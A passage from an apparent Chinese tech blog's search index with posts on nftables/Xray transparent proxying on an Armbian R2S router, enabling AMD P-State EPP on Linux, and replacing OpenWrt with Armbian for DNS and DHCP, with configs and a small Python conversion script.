第二个问题很好理解。而这些规则能解决第一个问题，主要原因在于主路由已经做好了NAT，看起来已经是从远程主机IP发往代理客户端主机IP的流量了，也就是有了目的IP在上述范围内的特征。同样的方法却不能套到主路由上，因为NAT一般在 postrouting 阶段去做，而 tproxy 一般在 prerouting 阶段进行3。此时，网络层的目的IP仍然是本机的外网IP，而非192.168.0.1这样的局域网IP。\n然而，出于某些原因，我们并不能在 postrouting 阶段等待NAT完成后再更改目的IP4，也就是说这个阶段已经不能把数据包拐到代理上面了。考虑到 tproxy 的作用阶段，实际上在 prerouting 中同时进行Nftables阶段的分流和 tproxy 更为合适。相应的，为了识别远程服务器发回流量，我们要添加一条规则，也就是源IP不在内网IP段中，则不代理。\n另外不管是上面的教程还是Linux kernel文档3，都指出 tproxy 应搭配自定义IP route使用，以让透明代理的包正确地传输到本地。在进行透明代理的同时为数据包附上meta mark 1，这样就可以被以下两条命令定义的路由规则捕获，然后被传输到本地：\nbash 复制代码 ip rule add fwmark 1 lookup 100 # 对于带标记 1 的包，使用编号为 100 的路由表（100 没有什么特殊含义） ip route add local 0.0.0.0/0 dev lo table 100 # 对于路由表 100，经过 lo 设备发送到 0.0.0.0 1 2 ip rule add fwmark 1 lookup 100 # 对于带标记 1 的包，使用编号为 100 的路由表（100 没有什么特殊含义） ip route add local 0.0.0.0/0 dev lo table 100 # 对于路由表 100，经过 lo 设备发送到 0.0.0.0 实验表明去掉这两条规则后，无法正确进行透明代理。由于 tproxy 并不会修改数据包本身的内容，所以我猜测该数据包可能会按照默认策略路由，不会进入本地回环为代理工具所接收。\n接下来就该配置代理软件了。我个人建议使用Xray-core，需要添加入站：\njson 复制代码 { \u0026#34;inbounds\u0026#34;: [ { \u0026#34;tag\u0026#34;: \u0026#34;all-in\u0026#34;, \u0026#34;port\u0026#34;: 12345, \u0026#34;listen\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;protocol\u0026#34;: \u0026#34;dokodemo-door\u0026#34;, \u0026#34;settings\u0026#34;: { \u0026#34;network\u0026#34;: \u0026#34;tcp,udp\u0026#34;, \u0026#34;followRedirect\u0026#34;: true }, \u0026#34;sniffing\u0026#34;: { \u0026#34;enabled\u0026#34;: true, \u0026#34;destOverride\u0026#34;: [ \u0026#34;http\u0026#34;, \u0026#34;tls\u0026#34; ] }, \u0026#34;streamSettings\u0026#34;: { \u0026#34;sockopt\u0026#34;: { \u0026#34;tproxy\u0026#34;: \u0026#34;tproxy\u0026#34; } } }, ] } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { \u0026#34;inbounds\u0026#34;: [ { \u0026#34;tag\u0026#34;: \u0026#34;all-in\u0026#34;, \u0026#34;port\u0026#34;: 12345, \u0026#34;listen\u0026#34;: \u0026#34;127.0.0.1\u0026#34;, \u0026#34;protocol\u0026#34;: \u0026#34;dokodemo-door\u0026#34;, \u0026#34;settings\u0026#34;: { \u0026#34;network\u0026#34;: \u0026#34;tcp,udp\u0026#34;, \u0026#34;followRedirect\u0026#34;: true }, \u0026#34;sniffing\u0026#34;: { \u0026#34;enabled\u0026#34;: true, \u0026#34;destOverride\u0026#34;: [ \u0026#34;http\u0026#34;, \u0026#34;tls\u0026#34; ] }, \u0026#34;streamSettings\u0026#34;: { \u0026#34;sockopt\u0026#34;: { \u0026#34;tproxy\u0026#34;: \u0026#34;tproxy\u0026#34; } } }, ] } 并且建议为每个出站都设定meta mark不为1：\njson 复制代码 { \u0026#34;outbounds\u0026#34;: [ { \u0026#34;streamSettings\u0026#34;:{ \u0026#34;sockopt\u0026#34;: { \u0026#34;mark\u0026#34;: 2 }, }, }, ] } 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;outbounds\u0026#34;: [ { \u0026#34;streamSettings\u0026#34;:{ \u0026#34;sockopt\u0026#34;: { \u0026#34;mark\u0026#34;: 2 }, }, }, ] } 在添加了上面的规则后，发现连不上新设备了，查找DHCP服务器的日志也并未发现端倪。发现由于DHCP的Discover目标为广播IP，并未被排除代理，所以被代理工具截留。我使用的workaround为添加一条规则，对目标为udp/67端口的数据包不代理，DHCP恢复正常。\n宿舍的网络竟然有外界可以直接访问的公网IP（震惊），所以个人还加了 filter 表，用于防止外界白嫖代理。这个看一下下面的配置文件就明白，我不多讲。\n配置 如果你希望使用此配置文件，请根据你路由器的接口分配、网段分配、代理工具等情况进行修改。另外也不要忘了添加 ip 路由规则。\nperl 复制代码 #!/usr/sbin/nft -f flush ruleset define RESERVED_IP = { 192.168.0.0/24, 0.0.0.0/8, } define WANLINK = lan0 define LANLINK = eth0 table ip nat { chain postrouting { type nat hook postrouting priority 100; policy accept; oifname $WANLINK masquerade } } table ip filter { chain input { type filter hook input priority 0; policy accept; # only accept local/LAN traffic to tproxy ip saddr != $RESERVED_IP tcp dport 12345 drop } } table ip xray { chain prerouting { type filter hook prerouting priority mangle; policy accept; # source not from LAN (e.g. server reply), don\u0026#39;t proxy ip saddr != $RESERVED_IP return # dest loopback or local traffic, don\u0026#39;t proxy ip daddr $RESERVED_IP return # allow dhcp traffic (daddr may be 255.255.255.0) udp dport 67 return # tproxy traffic ip protocol {tcp,udp} tproxy to 127.0.0.1:12345 meta mark set 1 } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/usr/sbin/nft -f flush ruleset define RESERVED_IP = { 192.168.0.0/24, 0.0.0.0/8, } define WANLINK = lan0 define LANLINK = eth0 table ip nat { chain postrouting { type nat hook postrouting priority 100; policy accept; oifname $WANLINK masquerade } } table ip filter { chain input { type filter hook input priority 0; policy accept; # only accept local/LAN traffic to tproxy ip saddr != $RESERVED_IP tcp dport 12345 drop } } table ip xray { chain prerouting { type filter hook prerouting priority mangle; policy accept; # source not from LAN (e.g. server reply), don\u0026#39;t proxy ip saddr != $RESERVED_IP return # dest loopback or local traffic, don\u0026#39;t proxy ip daddr $RESERVED_IP return # allow dhcp traffic (daddr may be 255.255.255.0) udp dport 67 return # tproxy traffic ip protocol {tcp,udp} tproxy to 127.0.0.1:12345 meta mark set 1 } } IPv6 本节参考5\nIPv6透明代理的实现与上面相似，甚至可以不用建新表，而是修改 xray 表即可。\nIPv6对应的路径设置如下：\nbash 复制代码 ip -6 rule add fwmark 1 table 106 ip -6 route add local ::/0 dev lo table 106 1 2 ip -6 rule add fwmark 1 table 106 ip -6 route add local ::/0 dev lo table 106 这里我直接将修改后的 xray 表列在下面：\nperl 复制代码 table inet xray { chain prerouting { type filter hook prerouting priority filter; policy accept; ip daddr { 127.0.0.0/8, 224.0.0.0/4, 255.255.255.255 } return ip6 daddr 2408::/16 return meta l4proto tcp ip daddr 192.168.0.0/16 return ip daddr 192.168.0.0/16 udp dport != 53 return ip6 daddr { ::1, fe80::/10 } return meta l4proto tcp ip6 daddr fd00::/8 return ip6 daddr fd00::/8 udp dport != 53 return # tailscale udp sport 41641 return udp dport 41641 return udp dport 3478 return udp sport 3478 return meta mark 2 return meta l4proto { tcp, udp } meta mark set 1 tproxy ip to 127.0.0.1:12345 accept meta l4proto { tcp, udp } meta mark set 1 tproxy ip6 to [::1]:12345 accept } chain divert { type filter hook prerouting priority mangle; policy accept; meta l4proto tcp socket transparent 1 meta mark set 1 accept } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 table inet xray { chain prerouting { type filter hook prerouting priority filter; policy accept; ip daddr { 127.0.0.0/8, 224.0.0.0/4, 255.255.255.255 } return ip6 daddr 2408::/16 return meta l4proto tcp ip daddr 192.168.0.0/16 return ip daddr 192.168.0.0/16 udp dport != 53 return ip6 daddr { ::1, fe80::/10 } return meta l4proto tcp ip6 daddr fd00::/8 return ip6 daddr fd00::/8 udp dport != 53 return # tailscale udp sport 41641 return udp dport 41641 return udp dport 3478 return udp sport 3478 return meta mark 2 return meta l4proto { tcp, udp } meta mark set 1 tproxy ip to 127.0.0.1:12345 accept meta l4proto { tcp, udp } meta mark set 1 tproxy ip6 to [::1]:12345 accept } chain divert { type filter hook prerouting priority mangle; policy accept; meta l4proto tcp socket transparent 1 meta mark set 1 accept } } 如果你的代理工具只监听了IPv4地址，那么需要同时监听IPv6 [::1]:12345。\n优化 Nftables数据包追踪 在编写Nftables配置的时候，经常可能有疑问，这个数据包到哪里去了。可以使用 nft monitor trace 监视特定数据包的流向和规则判定过程，详细使用方法见 6。\n米家设备无法连网 如果开启透明代理的情况下，发现米家设备无法联网（或者无法绑定到App），而关闭透明代理又恢复，那么可能是因为米家设备需要连接域名 mijia cloud（是的你没看错，中间一个空格），代理工具嗅探到了这个域名并尝试解析以分流，但其无法正常处理7，于是走默认。可以通过查看代理工具的日志来验证这个情况，Xray-core和Clash都可能会有这个问题。\n解决方法是跳过这个域名的嗅探分流，如Xray-core加上这一段：\njson 复制代码 { \u0026#34;inbounds\u0026#34;: [ { \u0026#34;sniffing\u0026#34;: { \u0026#34;domainsExcluded\u0026#34;: [ \u0026#34;mijia cloud\u0026#34; ] } } ] } 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;inbounds\u0026#34;: [ { \u0026#34;sniffing\u0026#34;: { \u0026#34;domainsExcluded\u0026#34;: [ \u0026#34;mijia cloud\u0026#34; ] } } ] } 干出这个事的小米工程师真该拉出去祭天。\n境内流量完全直连 上述的配置会令境内外流量均经过代理工具，最直接的问题就是访问速度变慢。但可能也有些其他后果。\n曾遇到一个非常玄学的问题，如国服原神“连接超时”，国服星穹铁道错误“1001_1”等。即使设置了正确的分流规则和DNS解析，也可能无法登录。抓包发现有许多和米哈游的TCP连接被reset掉，暂时不知道根本原因。\n个人的解决办法是使用Nftables进行国内IP分流，具体可见 这篇文章。实测使用该措施后，由于不需要回到用户态过代理软件，日常上网也会快一点。不过若依赖于特定代理软件的附加功能，如Xray-core的Full Cone NAT，则对于绕过的流量，也会一并失去这些功能。\n此处附一个适用于IPv4和IPv6的转换脚本，将APNIC的数据转换为nftables格式，并输出到标准输出：\npython 复制代码 import re # Function to calculate subnet mask from number of IPs def get_cidr_from_size(size): import math return 32 - int(math.log2(size)) def parse_ip_ranges(file_path): v4_list = [] v6_list = [] # Regular expressions for extracting IPv4 and IPv6 ranges ipv4_regex = r\u0026#39;apnic\\|CN\\|ipv4\\|([0-9]\u0026#43;\\.[0-9]\u0026#43;\\.[0-9]\u0026#43;\\.[0-9]\u0026#43;)\\|(\\d\u0026#43;)\\|\u0026#39; ipv6_regex = r\u0026#39;apnic\\|CN\\|ipv6\\|([0-9a-fA-F:]\u0026#43;)\\|(\\d\u0026#43;)\\|\u0026#39; with open(file_path, \u0026#39;r\u0026#39;) as file: for line in file: # Check for IPv4 match_v4 = re.search(ipv4_regex, line) if match_v4: ip = match_v4.group(1) size = int(match_v4.group(2)) # Calculate CIDR from the size cidr = get_cidr_from_size(size) subnet = f\u0026#34;{ip}/{cidr},\u0026#34; v4_list.append(subnet) # Check for IPv6 match_v6 = re.search(ipv6_regex, line) if match_v6: ip = match_v6.group(1) prefix_length = int(match_v6.group(2)) # Construct the subnet subnet = f\u0026#34;{ip}/{prefix_length},\u0026#34; v6_list.append(subnet) return v4_list, v6_list def generate_nftables_rule(file_path): v4_list, v6_list = parse_ip_ranges(file_path) # Format the output in nftables style v4_rules = \u0026#34;define chnroute_list_v4 = {\\n\u0026#34; \u0026#43; \u0026#34;\\n \u0026#34;.join(v4_list) \u0026#43; \u0026#34;\\n}\u0026#34; v6_rules = \u0026#34;define chnroute_list_v6 = {\\n\u0026#34; \u0026#43; \u0026#34;\\n \u0026#34;.join(v6_list) \u0026#43; \u0026#34;\\n}\u0026#34; return v4_rules, v6_rules if __name__ == \u0026#34;__main__\u0026#34;: file_path = \u0026#39;delegated-apnic-latest\u0026#39; # Replace with your actual file path v4_rules, v6_rules = generate_nftables_rule(file_path) # Print the results print(v4_rules) print(v6_rules) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import re # Function to calculate subnet mask from number of IPs def get_cidr_from_size(size): import math return 32 - int(math.log2(size)) def parse_ip_ranges(file_path): v4_list = [] v6_list = [] # Regular expressions for extracting IPv4 and IPv6 ranges ipv4_regex = r\u0026#39;apnic\\|CN\\|ipv4\\|([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)\\|(\\d+)\\|\u0026#39; ipv6_regex = r\u0026#39;apnic\\|CN\\|ipv6\\|([0-9a-fA-F:]+)\\|(\\d+)\\|\u0026#39; with open(file_path, \u0026#39;r\u0026#39;) as file: for line in file: # Check for IPv4 match_v4 = re.search(ipv4_regex, line) if match_v4: ip = match_v4.group(1) size = int(match_v4.group(2)) # Calculate CIDR from the size cidr = get_cidr_from_size(size) subnet = f\u0026#34;{ip}/{cidr},\u0026#34; v4_list.append(subnet) # Check for IPv6 match_v6 = re.search(ipv6_regex, line) if match_v6: ip = match_v6.group(1) prefix_length = int(match_v6.group(2)) # Construct the subnet subnet = f\u0026#34;{ip}/{prefix_length},\u0026#34; v6_list.append(subnet) return v4_list, v6_list def generate_nftables_rule(file_path): v4_list, v6_list = parse_ip_ranges(file_path) # Format the output in nftables style v4_rules = \u0026#34;define chnroute_list_v4 = {\\n\u0026#34; + \u0026#34;\\n \u0026#34;.join(v4_list) + \u0026#34;\\n}\u0026#34; v6_rules = \u0026#34;define chnroute_list_v6 = {\\n\u0026#34; + \u0026#34;\\n \u0026#34;.join(v6_list) + \u0026#34;\\n}\u0026#34; return v4_rules, v6_rules if __name__ == \u0026#34;__main__\u0026#34;: file_path = \u0026#39;delegated-apnic-latest\u0026#39; # Replace with your actual file path v4_rules, v6_rules = generate_nftables_rule(file_path) # Print the results print(v4_rules) print(v6_rules) https://thermalcircle.de/doku.php?id=blog:linux:nftables_packet_flow_netfilter_hooks_detail 另外这也是一篇极佳的Nftables入门文章，推荐阅读。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n或许有人担心这会影响Xray-core的域名分流，但其域名分流是依靠sniffing头中的SNI实现的，即使Xray-core得不到解析前的域名，也不会受到影响。\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.kernel.org/doc/Documentation/networking/tproxy.txt\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://serverfault.com/a/125913\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://xtls.github.io/document/level-2/tproxy_ipv4_and_ipv6.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://wiki.nftables.org/wiki-nftables/index.php/Ruleset_debug/tracing\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/XTLS/Xray-core/issues/293\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"September 17, 2023","matchCount":0,"permalink":"/post/armbian-r2s-tproxy/","preview":"","title":"Armbian + R2S 番外篇：透明代理"},{"content":"Arch Linux的Linux 6.5内核终于在前几天进入了 core 软件库，其中一个重要的特性就是默认启用了P-State EPP (Active) 调频驱动1。调频驱动不同于调速器，前者与特定的CPU有关；而后者与电源方案有关，如 powersave 就是一直运行在最低频率。\namd-pstate 是AMD CPU性能调频驱动，它在Linux内核中的现代AMD APU和CPU系列上引入了新的CPU频率控制机制。新机制基于协作处理器性能控制 (CPPC)，它提供比传统ACPI硬件P-state更精细的频率管理。当前的AMD CPU/APU平台使用ACPI P-State驱动程序来管理CPU频率和时钟，仅在3个P-state下进行切换。CPPC取代了ACPI P-state控制，并为Linux内核提供了灵活、低延迟的接口，以直接向硬件传达性能提示。\namd_pstate CPPC有3种操作模式：自主（active）模式、非自主（passive）模式和引导自主（guided）模式。通过不同的内核参数可以选择active/passive/guided模式。\n在自主模式下，平台会忽略所需的性能级别请求，并仅考虑设置为最小、最大和能量性能首选项寄存器的值。 在非自主模式下，平台直接通过所需性能寄存器从操作系统获取所需的性能水平。 在引导自主模式下，平台根据当前工作负载并在操作系统通过最小和最大性能寄存器设置的限制内自主设置操作性能级别。 amd_pstate=active 是低级固件控制模式，由amd_pstate_epp驱动程序实现，并在命令行中将amd_pstate=active传递给内核。在此模式下，如果软件想要偏向CPPC固件的性能 (0x0) 或能效 (0xff)，amd_pstate_epp驱动程序会向硬件提供提示。然后CPPC功耗算法将计算运行时工作负载，并根据电源和热量、核心电压和其他一些硬件条件调整实时核心频率。2\n简而言之，相比默认的 acpi_cpufreq，P-State能够让CPU从操作系统处直接获得性能需求hint，并进行更细粒度的频率控制。P-State EPP（active模式）响应更快，并能自定义hint，达到类似于调速器的效果。\nP-State EPP支持Zen 2或更新的AMD CPU。本人使用的是联想R7000 2020，AMD Ryzen 7 4800H，也算是喝到了一大口汤吧。\n启用CPPC P-State EPP依赖于CPPC（Collaborative Processor Performance Control），所以首先要在BIOS中启用CPPC。请自查BIOS内是否有此选项，如果没有，需要使用 Smokeless_UMAF 访问BIOS中的隐藏选项，步骤如下。本文作者与插件作者不对任何损坏负责。\n下载仓库中的 UMAF_BETA.zip，解压到一个空的FAT32格式的U盘中 用此U盘引导启动 进入Device Manager - AMD CBS - NBIO - SMU3 在这里应该就可以看到CPPC选项。即使已经显示Auto或者Default，也需要手动Enable。设置完成后按保存重启即可。\n启用P-State EPP 可以直接运行上图中的 cpupower 工具来查看当前的调频驱动。如果你和我一样已经在运行Linux 6.5，那么可能什么都不用做了。\n不同内核版本对P-State EPP的支持如下：\n6.5起，默认启用P-State EPP1 6.4起，支持Guided Autonomous模式4 6.3起，支持EPP，但默认不启用56 5.17起，支持P-State 如果在使用6.3或6.4，开启EPP的方法就是添加内核参数，amd_pstate=[active|passive|guided]。关于如何修改内核参数，可参见 ArchWiki: kernel parameters。\n其他优化 可以使用 auto-epp 来自动传递EPP hint，以在离电情况下功耗更低，或接入电源时性能释放更强。\n在启用EPP的情况下，也可以直接将调速器设为 powersave，完全靠调频驱动进行调频7。\n体验 在启用P-State EPP调频驱动后，CPU各内核的频率能够在适当的时候（如浏览网页等场景）降低至400 MHz（见下图的频率范围），在有需求时也能快速拉起频率。相比于之前最低频率仅能低至1.3GHz，此举有望能大幅降低低负载的package功耗。\n启用 P-State EPP 后的效果 在进行简单的浏览网页和编写代码时，使用 balance_performance hint，流畅度完全没有问题。笔记本离电时使用 power hint，提频更消极，跑不满笔记本的高刷新率，但功耗更低；使用独显混合模式，续航大约4小时，遥遥领先于Windows，比同样60Wh电池的MBP13 2020（Intel）更强；若关闭独显，可能对续航有更大的提升。\n此外也有网友称出现了重启的问题，反正我没遇到。\nLinux 6.5 Now Defaults To AMD P-State \u0026ldquo;Active\u0026rdquo; EPP For Modern Ryzen Systems\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\namd-pstate CPU Performance Scaling Driver\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEmpty Custom Core Pstates\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAMD Guided Autonomous Mode Submitted For Linux 6.4\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAMD P-State EPP can be enabled in Fedora 38 (Kernel 6.3)\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAMD P-State EPP Submitted For Linux 6.3 To Improve CPU Performance/Power\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://www.reddit.com/r/linux_gaming/comments/13by61l/amd_pstateactive/jjdhi58/?utm_source=share\u0026utm_medium=web3x\u0026utm_name=web3xcss\u0026utm_term=1\u0026utm_content=share_button\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"September 12, 2023","matchCount":0,"permalink":"/post/amd-pstate-epp/","preview":"","title":"启用 AMD P-State EPP 调频驱动"},{"content":"OpenWrt的困境 人们安装OpenWrt，是因为他们觉得它比路由器或者嵌入式设备的原厂固件更好用。\n——《使用 OpenWrt 的理由》\n不错，作为一个路由器系统来说OpenWrt确实实现了相对官方固件更好的可玩性。实际用久了自然会发现OpenWrt作为一个Linux来说是非常难用的，这点突出体现在其包管理上。官方软件源各种残缺，第三方软件源也充斥着野包，让我想起了用CentOS的时候。开发者倾向于为传统大发行版打包，相比较而言极少看到过opkg。OpenWrt官方甚至不建议升级软件包 1，因为包管理器并没有能力升级OpenWrt本身……这对Tailscale和Xray-core等需要经常更新的软件来说很致命。\n整个OpenWrt给人的印象也是能省则省，因为它需要照顾到大量低性能的设备，甚至低至8MB Flash、32M RAM的设备；前文提到的包管理器区别是因为opkg不支持ABI兼容性监测；对于普通的Linux发行版也有诸多其他不同。而对于R2S这种1GB RAM的设备来说，倒没必要这么节省。更何况即使在Armbian上，日常占用RAM也仅有300MB，这里面还有100MB以上是Xray-core的缓存。\n我并没有说OpenWrt不适合路由器使用，它的大部分配置都能点几下就完成设置，也有更多的中文资料，还有很多开箱即用的网络优化，在社区活跃开发者的帮助下，它十分适合路由器使用。但若是想要跳出插件开发者设定的笼子，尝试稍高级一点的玩法，OpenWrt就会显得各种别扭。而Armbian基于Debian或者Ubuntu，都是许多Linux用户再熟悉不过的发行版，因此使用Armbian不是找罪受，反而能够利用已有的其他Linux使用习惯和资料，是一个偷懒的选择。\n因此，本文希望为读者提供另一种软路由的思路，让R2S兼有传统主路由的功能，又有更熟悉的Linux发行版体验。\n我的网络拓扑大概如下（无线路由器连接的各个设备仅为示意）。R2S作为主路由使用，Redmi AC2100 （已升级为小米AX3000）作为AP，不存在旁路由。\n网络拓扑 安装Armbian 安装Armbian的第一步就像OpenWrt一样，从 官方网站 下载对应的img（本文使用基于Ubuntu的Jammy），然后用你的工具烧录进SD卡。将R2S接入电源，指示灯应该闪烁。\n初始设置需要将其WAN或LAN口接到另一台 已经启用DHCP 的路由器上，想办法找到其IP地址（比如进管理员后台），然后使用SSH登录，初始用户名和密码分别为 root 和 1234。注意其此时不能作为一个开箱即用的路由器，也就是说不能直接接入电脑。\n登入后有一个初始引导，跟着做就行了，没什么好说的。然后这就是一个标准的Linux系统了，基本可以直接遵循其他Linux的操作方法。但国内许多用户会到手换源，由于Armbian是基于其他发行版做的，所以换源不完全一样。其软件源有两个位置，均需要更改：\n/etc/apt/sources.list 与你安装的版本所基于的发行版有关，如Armbian Jammy基于Ubuntu Jammy，就换对应的源（如 清华源，注意Ubuntu使用Ports源）； /etc/apt/sources.list.d/armbian.list 是Armbian专属软件源，也要换（仍然如 清华源）。 配置路由器功能 OpenWRT说白了也是个Linux，作为一个路由器所需要的功能也有许多方案可以通过后期手动安装实现。\n顺着走到这一步，执行 ip l，一台R2S的显示应该类似于下面这样：\nplaintext 复制代码 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether aa:aa:aa:aa:aa:aa brd ff:ff:ff:ff:ff:ff 4: lan0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000 link/ether aa:aa:aa:aa:aa:aa brd ff:ff:ff:ff:ff:ff 1 2 3 4 5 6 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether aa:aa:aa:aa:aa:aa brd ff:ff:ff:ff:ff:ff 4: lan0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000 link/ether aa:aa:aa:aa:aa:aa brd ff:ff:ff:ff:ff:ff 此处我把外部网络（相对，如上层路由器）插到了 lan0 上，局域网设备则均连接至 eth0，相当于许多OpenWRT包所做的反转WAN和LAN口。如无特别说明，后面的操作均按照这个来。\nR2S的LAN是USB 3.0转接的网卡，而WAN是PCIe网卡。进行高速传输时，USB造成的中断会大量消耗性能，所以对于内网流量，将其扔给性能更高的WAN口。R2S在小包较多时速度明显下降，也是基于同样的原因。\nDNS DNS用于将主机名解析为IP地址。由于传统DNS查询是明文的，可以被中间人任意截留修改，部分运营商会进行DNS污染，以达到加广告或封锁境外网站的目的。因此，使用DoH（DHS-over-HTTPS）和DoT（DNS-over-TLS），并对国内和国外域名进行分流，就有其意义。\n下文介绍了几种DNS转发器的的配置方案。其中，EasyMosdns自带了较完善的方案，而TelescopeDNS的配置文件较为简明，都能有效对抗DNS污染。\nTelescopeDNS 此处使用 Telescope DNS 负责监听53端口，为局域网内设备进行解析，并根据条件将其发送至不同的DNS服务器。\n虽然我有透明代理的需求，但是本着解耦的原则（说白了就是怕Xray-core挂掉全都上不了网），还是由单独的DNS转发器处理局域网查询吧。\nArmbian默认使用systemd-resolved解析DNS并占用25端口，由于其仅能监听本机请求而不能接受局域网内其他机器的请求[^7]，需要将其禁用。此外需要将 /etc/resolv.conf 指向127.0.0.1以将本机的DNS查询转发至Telescope DNS。\n以下是我的配置文件，读者可以参考。\ntoml 复制代码 listen = \u0026#34;192.168.0.1:53\u0026#34; disable_qtypes = [\u0026#34;AAAA\u0026#34;] # 禁用 IPv6 解析 [cache] size = 4096 [hosts] # 为 DoH 域名指定 IP 地址，防止回环解析（指解析所必需的 DoH 域名本身也需要解析） \u0026#34;doh.pub\u0026#34; = \u0026#34;1.12.12.12\u0026#34; \u0026#34;cloudflare-dns.com\u0026#34; = \u0026#34;1.0.0.1\u0026#34; [groups] [groups.clean] # 境内域名 doh = [\u0026#34;https://doh.pub/dns-query\u0026#34;] # 腾讯 DNSPod DoH dns = [\u0026#34;114.114.114.114\u0026#34;] concurrent = true no_cookie = true # DNSPod 可能需要 redirector = \u0026#34;oversea_ip2dirty\u0026#34; # 按照下方同名 redirector 设置重定向 [groups.dirty] # 境外域名 dns = [\u0026#34;208.67.222.222:5353\u0026#34;, \u0026#34;176.103.130.130:5353\u0026#34;] doh = [\u0026#34;https://cloudflare-dns.com/dns-query\u0026#34;] # Cloudflare DoH gfwlist_file = \u0026#34;/etc/ts-dns/gfwlist.txt\u0026#34; [redirectors] [redirectors.oversea_ip2dirty] # 解析后如发现ip地址不匹配cnip，则重定向到dirty组解析 type = \u0026#34;mismatch_cidr\u0026#34; rules_file = \u0026#34;/etc/ts-dns/cnip.txt\u0026#34; dst_group = \u0026#34;dirty\u0026#34; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 listen = \u0026#34;192.168.0.1:53\u0026#34; disable_qtypes = [\u0026#34;AAAA\u0026#34;] # 禁用 IPv6 解析 [cache] size = 4096 [hosts] # 为 DoH 域名指定 IP 地址，防止回环解析（指解析所必需的 DoH 域名本身也需要解析） \u0026#34;doh.pub\u0026#34; = \u0026#34;1.12.12.12\u0026#34; \u0026#34;cloudflare-dns.com\u0026#34; = \u0026#34;1.0.0.1\u0026#34; [groups] [groups.clean] # 境内域名 doh = [\u0026#34;https://doh.pub/dns-query\u0026#34;] # 腾讯 DNSPod DoH dns = [\u0026#34;114.114.114.114\u0026#34;] concurrent = true no_cookie = true # DNSPod 可能需要 redirector = \u0026#34;oversea_ip2dirty\u0026#34; # 按照下方同名 redirector 设置重定向 [groups.dirty] # 境外域名 dns = [\u0026#34;208.67.222.222:5353\u0026#34;, \u0026#34;176.103.130.130:5353\u0026#34;] doh = [\u0026#34;https://cloudflare-dns.com/dns-query\u0026#34;] # Cloudflare DoH gfwlist_file = \u0026#34;/etc/ts-dns/gfwlist.txt\u0026#34; [redirectors] [redirectors.oversea_ip2dirty] # 解析后如发现ip地址不匹配cnip，则重定向到dirty组解析 type = \u0026#34;mismatch_cidr\u0026#34; rules_file = \u0026#34;/etc/ts-dns/cnip.txt\u0026#34; dst_group = \u0026#34;dirty\u0026#34; 为了让本机的DNS解析通过本机的服务器，需要更改默认的DNS解析器。\nEasyMosdns Mosdns以强大的功能而闻名，但对于不想花时间配置的人来说，使用别人配好的方案也能十分舒适，比如 EasyMosdns。\n因为它和Mosdns都没有被大部分发行版打包，所以在Armbian上，需要先手动安装对应版本的Mosdns，然后将上述repo内的文件丢进对应目录。至于Systemd单元等文件，可以参见 AUR。\n默认监听53端口，可以在 /etc/mosdns/config.yaml 中设置。\ndnsmasq 整合 确实dnsmasq可以当DNS转发器啊，但因为它对DNS污染抗性比较差，所以我肯定不会单独用它的。不过可以把它套娃，在本机上做两层转发。\n如果你希望做两层转发，那么需要将嵌套的转发器监听端口改一下，比如5353，将这个地址改为dnsmasq的上游DNS，并且把dnsmasq的cache size设为0（否则第一次查询大概率失败）；如果你希望把dnsmasq的DNS禁掉，那么这三个设置都不用动，然后给dnsmasq加个 -p0 启动参数就可以了。\nDHCP DHCP用于为局域网内的设备分配各自的IP地址，同时也会传递网关、默认DNS等信息。在我的网络拓扑中，由软路由充当DHCP服务器，其他设备则仅需自带的DHCP客户端。\n一般来说Linux的网络连接由systemd-networkd或NetworkManager之类的东西管理（包含DHCP客户端），而在基于Ubuntu的系统上有个好东西叫做Netplan，用于在前述两者等一系列工具之上再构建一层抽象，以求简化其配置。\n该机型Armbian的Netplan配置文件位于 /etc/netplan/armbian-default.yaml。未经修改的文件类似于：\nyaml 复制代码 network: version: 